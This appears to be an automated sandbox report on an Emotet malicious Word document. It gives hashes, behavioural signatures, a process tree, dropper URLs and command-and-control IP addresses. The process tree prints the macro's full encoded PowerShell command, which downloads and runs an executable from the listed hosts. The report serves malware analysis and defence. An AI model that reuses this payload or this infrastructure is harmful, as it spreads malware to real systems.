Analysis

  • max time kernel
    136s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    24-09-2020 07:01

General

  • Target

    emotet_e2_9e894e36a4b04050aa1f3f12c19607fecdd5af0a1af362c033e1c5ed55229896_2020-09-24__065618796088._doc.doc

  • Size

    152KB

  • MD5

    9eabe89a43f250e2735dc5e3b2d168cf

  • SHA1

    a54b77bc4855eb0e1d940a2432065d95161ed2a9

  • SHA256

    9e894e36a4b04050aa1f3f12c19607fecdd5af0a1af362c033e1c5ed55229896

  • SHA512

    c68281754c4da9897e36d3b47128e921192c9cbf382ea000e9b3ab0a952a4f6560f001f726e85924837917b642594d738d52794ecd9f1766f0e9c27d19874692

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.firhajshoes.com/wp-admin/RgaiT/

exe.dropper

http://fakeread.com/OneSignal-Web-SDK-HTTPS-Integration-Files/Wf/

exe.dropper

http://www.rttutoring.com/wp-includes/LlbY6o/

exe.dropper

http://blueskysol.com/sys-cache/2Rk/

exe.dropper

http://crazyboxs.com/cgi-bin/IaJ/

exe.dropper

http://www.paramedicaleducationguidelines.com/wp-admin/3jXU5Bp/

exe.dropper

http://nuhatoys.com/wp-admin/WWA4R/

Extracted

Family

emotet

C2

174.106.122.139:80

159.203.116.47:8080

173.249.6.108:443

104.236.246.93:8080

174.45.13.118:80

137.59.187.107:8080

94.200.114.161:80

37.187.72.193:8080

67.10.155.92:80

121.124.124.40:7080

24.43.99.75:80

75.139.38.211:80

109.74.5.95:8080

137.119.36.33:80

74.134.41.124:80

66.65.136.14:80

94.1.108.190:443

181.169.235.7:80

79.137.83.50:443

104.131.44.150:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_9e894e36a4b04050aa1f3f12c19607fecdd5af0a1af362c033e1c5ed55229896_2020-09-24__065618796088._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4016
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABFAGgAZQBmADUAOQBpAD0AKAAoACcAWgAnACsAJwBzADUAJwApACsAJwAwACcAKwAoACcAZAA1ACcAKwAnAGIAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAG4AdgA6AFUAcwBlAHIAcABSAE8AZgBJAGwAZQBcAEkAMgBiAHkARABvAEkAXABlAGoAbwAyADYAUQBEAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAEUAQwB0AG8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBgAGMAVQByAGkAYABUAHkAUAByAG8AdABPAGMAbwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKQArACgAJwAsACAAdABsAHMAJwArACcAMQAnACkAKwAoACcAMQAnACsAJwAsACAAJwApACsAJwB0AGwAJwArACcAcwAnACkAOwAkAEYAMwB5AHMAcQBvAHYAIAA9ACAAKAAoACcAUAAnACsAJwBfAGwAdQAnACkAKwAnAGwAJwArACgAJwB2AHAAJwArACcAMQAnACkAKQA7ACQATQBsAG8AcAA4ADAAMwA9ACgAJwBGACcAKwAoACcAbgBqACcAKwAnAGsAcAA4AG8AJwApACkAOwAkAEQAZwBsAHIAeAA1AHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0ASQAyACcAKwAnAGIAeQAnACsAKAAnAGQAbwAnACsAJwBpACcAKQArACcAewAwAH0AJwArACgAJwBFACcAKwAnAGoAbwAnACkAKwAnADIANgBxAGQAewAnACsAJwAwACcAKwAnAH0AJwApACAAIAAtAGYAWwBDAEgAYQByAF0AOQAyACkAKwAkAEYAMwB5AHMAcQBvAHYAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABFAHoAdwB2AGoAMQBtAD0AKAAoACcAVwBlACcAKwAnADcAJwApACsAJwBlACcAKwAoACcAdAAnACsAJwBlAHYAJwApACkAOwAkAFUAcAAyAGkAbQBlAHAAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAQwBMAGkAZQBuAHQAOwAkAFMAdwBrAGMAMgAyAG0APQAoACcAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwA6ACcAKwAoACcALwAnACsAJwAvAHcAdwB3AC4AZgAnACsAJwBpACcAKQArACcAcgAnACsAKAAnAGgAYQBqAHMAJwArACcAaAAnACkAKwAoACcAbwAnACsAJwBlAHMALgBjAG8AJwArACcAbQAvAHcAJwApACsAJwBwACcAKwAnAC0AYQAnACsAJwBkACcAKwAnAG0AJwArACcAaQAnACsAJwBuAC8AJwArACcAUgAnACsAJwBnACcAKwAnAGEAaQAnACsAJwBUAC8AJwArACgAJwAqAGgAJwArACcAdAB0ACcAKQArACcAcAA6ACcAKwAnAC8ALwAnACsAKAAnAGYAYQBrACcAKwAnAGUAJwApACsAKAAnAHIAJwArACcAZQBhACcAKQArACcAZAAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACgAJwBtAC8AJwArACcATwAnACkAKwAoACcAbgAnACsAJwBlAFMAaQAnACsAJwBnAG4AJwArACcAYQBsAC0AVwAnACsAJwBlAGIALQBTACcAKwAnAEQASwAtACcAKQArACcASAAnACsAJwBUACcAKwAnAFQAJwArACcAUABTACcAKwAoACcALQAnACsAJwBJAG4AJwApACsAKAAnAHQAZQBnAHIAYQAnACsAJwB0AGkAJwApACsAKAAnAG8AbgAtAEYAaQBsACcAKwAnAGUAcwAvACcAKQArACgAJwBXAGYALwAnACsAJwAqACcAKQArACcAaAAnACsAKAAnAHQAJwArACcAdABwADoALwAnACkAKwAnAC8AJwArACgAJwB3ACcAKwAnAHcAdwAuACcAKQArACcAcgAnACsAKAAnAHQAdAAnACsAJwB1AHQAbwByAGkAJwApACsAKAAnAG4AZwAuAGMAJwArACcAbwBtACcAKQArACcALwAnACsAKAAnAHcAJwArACcAcAAtAGkAJwApACsAKAAnAG4AJwArACcAYwBsAHUAZAAnACkAKwAoACcAZQBzAC8AJwArACcATABsACcAKQArACgAJwBiAFkAJwArACcANgBvACcAKQArACgAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvAC8AYgAnACkAKwAoACcAbAB1ACcAKwAnAGUAJwApACsAJwBzACcAKwAnAGsAJwArACgAJwB5ACcAKwAnAHMAbwBsAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACcALwBzACcAKwAnAHkAcwAnACsAJwAtACcAKwAoACcAYwAnACsAJwBhAGMAaAAnACkAKwAoACcAZQAvACcAKwAnADIAUgAnACkAKwAoACcAawAnACsAJwAvACoAaAB0ACcAKQArACgAJwB0AHAAOgAnACsAJwAvAC8AYwByACcAKQArACgAJwBhAHoAJwArACcAeQBiAG8AeABzAC4AJwArACcAYwBvAG0ALwAnACkAKwAoACcAYwBnACcAKwAnAGkAJwApACsAJwAtACcAKwAnAGIAJwArACcAaQBuACcAKwAoACcALwBJACcAKwAnAGEASgAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAHcAJwArACcAdwB3ACcAKQArACgAJwAuAHAAYQAnACsAJwByAGEAbQAnACsAJwBlACcAKQArACcAZABpACcAKwAoACcAYwBhAGwAZQAnACsAJwBkACcAKwAnAHUAYwBhAHQAaQAnACsAJwBvAG4AZwB1AGkAJwApACsAJwBkAGUAJwArACcAbAAnACsAKAAnAGkAJwArACcAbgBlAHMALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGEAZAAnACsAJwBtAGkAbgAnACkAKwAoACcALwAzAGoAJwArACcAWABVACcAKQArACcANQBCACcAKwAoACcAcAAnACsAJwAvACoAaAAnACkAKwAnAHQAdAAnACsAKAAnAHAAJwArACcAOgAvAC8AJwApACsAJwBuACcAKwAnAHUAaAAnACsAKAAnAGEAdAAnACsAJwBvAHkAcwAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAcAAnACkAKwAnAC0AJwArACgAJwBhACcAKwAnAGQAbQBpACcAKQArACgAJwBuAC8AJwArACcAVwBXACcAKQArACgAJwBBADQAUgAnACsAJwAvACcAKQApAC4AIgBzAFAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEsAaABtAHgANgByAGMAPQAoACcAQgBrACcAKwAoACcANwByADQAJwArACcAagAnACkAKwAnAGgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWQBnAHoAeABrAG4AagAgAGkAbgAgACQAUwB3AGsAYwAyADIAbQApAHsAdAByAHkAewAkAFUAcAAyAGkAbQBlAHAALgAiAEQATwBXAGAATgBsAE8AYABBAEQAZgBgAGkATABlACIAKAAkAFkAZwB6AHgAawBuAGoALAAgACQARABnAGwAcgB4ADUAeAApADsAJABZAGMAZgA4ADQAZgB6AD0AKAAoACcAWgBnACcAKwAnAHUAMwAnACkAKwAoACcAZAAnACsAJwB5AGYAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQARABnAGwAcgB4ADUAeAApAC4AIgBsAGAAZQBuAEcAdABIACIAIAAtAGcAZQAgADIAMQA3ADcAMwApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABEAGcAbAByAHgANQB4ACkAOwAkAEwANwBoAHYAMwB5AHoAPQAoACcAQwAnACsAKAAnAHQAXwAnACsAJwA2ADYAcAB3ACcAKQApADsAYgByAGUAYQBrADsAJABVAGgAcgAwAHkAXwBqAD0AKAAoACcATwB4ACcAKwAnAHkAJwApACsAKAAnADgAawAnACsAJwBwACcAKQArACcAbwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAegBtAG4AXwBzAGcAPQAoACgAJwBNAGsAJwArACcAMQB4AHoAOAAnACkAKwAnAGUAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3228
    • C:\Users\Admin\I2bydoi\Ejo26qd\P_lulvp1.exe
      "C:\Users\Admin\I2bydoi\Ejo26qd\P_lulvp1.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1900
      • C:\Windows\SysWOW64\SrpUxNativeSnapIn\SrpUxNativeSnapIn.exe
        "C:\Windows\SysWOW64\SrpUxNativeSnapIn\SrpUxNativeSnapIn.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:2136

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

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Downloads

  • C:\Users\Admin\I2byDoI\ejo26QD\P_lulvp1.exe
  • C:\Users\Admin\I2bydoi\Ejo26qd\P_lulvp1.exe
  • C:\Windows\SysWOW64\SrpUxNativeSnapIn\SrpUxNativeSnapIn.exe
  • memory/1900-10-0x0000000000000000-mapping.dmp
  • memory/1900-14-0x0000000002280000-0x0000000002290000-memory.dmp
    Filesize

    64KB

  • memory/1900-13-0x0000000002260000-0x0000000002272000-memory.dmp
    Filesize

    72KB

  • memory/2136-18-0x0000000000580000-0x0000000000590000-memory.dmp
    Filesize

    64KB

  • memory/2136-17-0x0000000000560000-0x0000000000572000-memory.dmp
    Filesize

    72KB

  • memory/2136-15-0x0000000000000000-mapping.dmp
  • memory/3228-8-0x0000028C59AB0000-0x0000028C59AB1000-memory.dmp
    Filesize

    4KB

  • memory/3228-9-0x0000028C59DA0000-0x0000028C59DA1000-memory.dmp
    Filesize

    4KB

  • memory/3228-7-0x00007FFCB6800000-0x00007FFCB71EC000-memory.dmp
    Filesize

    9.9MB

  • memory/4016-0-0x0000017520E20000-0x00000175214E6000-memory.dmp
    Filesize

    6.8MB

  • memory/4016-6-0x000001752BF6C000-0x000001752BF71000-memory.dmp
    Filesize

    20KB

  • memory/4016-5-0x000001752BF71000-0x000001752BF76000-memory.dmp
    Filesize

    20KB

  • memory/4016-3-0x000001752BF71000-0x000001752BF76000-memory.dmp
    Filesize

    20KB

  • memory/4016-4-0x000001752BF6C000-0x000001752BF71000-memory.dmp
    Filesize

    20KB

  • memory/4016-2-0x000001752BEE2000-0x000001752BEE5000-memory.dmp
    Filesize

    12KB

  • memory/4016-1-0x000001752BEE2000-0x000001752BEE5000-memory.dmp
    Filesize

    12KB